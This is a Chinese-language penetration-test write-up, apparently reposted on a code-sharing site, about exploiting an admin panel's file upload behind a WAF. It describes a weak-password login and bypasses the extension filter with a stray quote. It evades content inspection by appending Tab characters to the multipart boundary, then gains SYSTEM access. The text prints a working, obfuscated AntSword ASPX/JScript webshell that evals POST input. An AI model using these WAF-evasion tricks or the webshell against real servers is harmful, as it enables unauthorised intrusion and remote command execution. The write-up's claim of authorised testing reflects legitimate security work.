實戰繞過某waf后綴檢測內容檢測


本次測試為授權測試。

0x01 背景

弱口令進入某后台,存在任意文件上傳,存在waf

測試aa后綴成功上傳通過查看派單可以看到文件路徑

直接上傳aspx被攔截

0x02 繞過后綴名檢測

先簡單嘗試大小寫被攔截,ashx,asmx,asp,cer都被攔截

直接上傳cshtml,可參考https://www.cnblogs.com/cwkiller/p/12087890.html

訪問跳轉404,估計是不解析

嘗試直接繞過waf后綴檢測簡單測試后發現在雙引號后面加個單引號就能繞過

0x03 繞過內容檢測

直接上冰蠍馬,發現檢測內容被waf攔截了

復制圖片內容把馬夾在中間,依舊繞不過,有的waf可能比較大的包就直接放行了,這個不行我復制了很大的圖片內容依然被攔截

這個站在之前測試注入過程中並沒有發現waf,嘗試直接將一句話post發送(非上傳格式)發現並不會攔截

猜測waf肯定通過Content-Type: multipart/form-data來判定這是個上傳包,然后就檢測內容

而waf是如何解析post包哪個地方是上傳的內容呢,是根據

Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182

Content-Type中boundary的值---------------------------7e43d3910182

那么思路就來了,我們在---------------------------7e43d3910182后加多個Tab鍵服務端既正常解析上傳內容而waf則可能通過
---------------------------7e43d3910182TabTab 去查找上傳的內容然而並找不到從而被繞過,講了這么就那肯定要測一把

bingo成功繞過內容檢測

0x04 奇怪的404

上傳成功了先訪問馬看看

又是這個情況,哪里出問題了呢,直接連接馬也連不上,抽根煙記起之前搞得一個jsp站也是上傳成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html

可能是馬要有內容輸出才不會404,直接上大馬,連接成功system權限

驗證是否是馬要有內容輸出才不會404,上傳打印當前時間的aspx

<%@Page Language="C#"%>
<%
Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
System.IO.File.Delete(Request.PhysicalPath);
%>

印證猜測,蟻劍馬增加一句輸出hello,world語句

<%@ Page Language="Jscript" Debug=true%>
<%
Response.Write("hello,world");
var hw=Request.Form("mr6");
var du='iNUZuDe';
var zu=du.replace("iNUZuD","unsaf");
function RIEo(BWrg)
{eval(BWrg,zu);}
RIEo(hw);
%>

帶上cookie(此目錄下的文件需要登錄才能訪問),連接成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM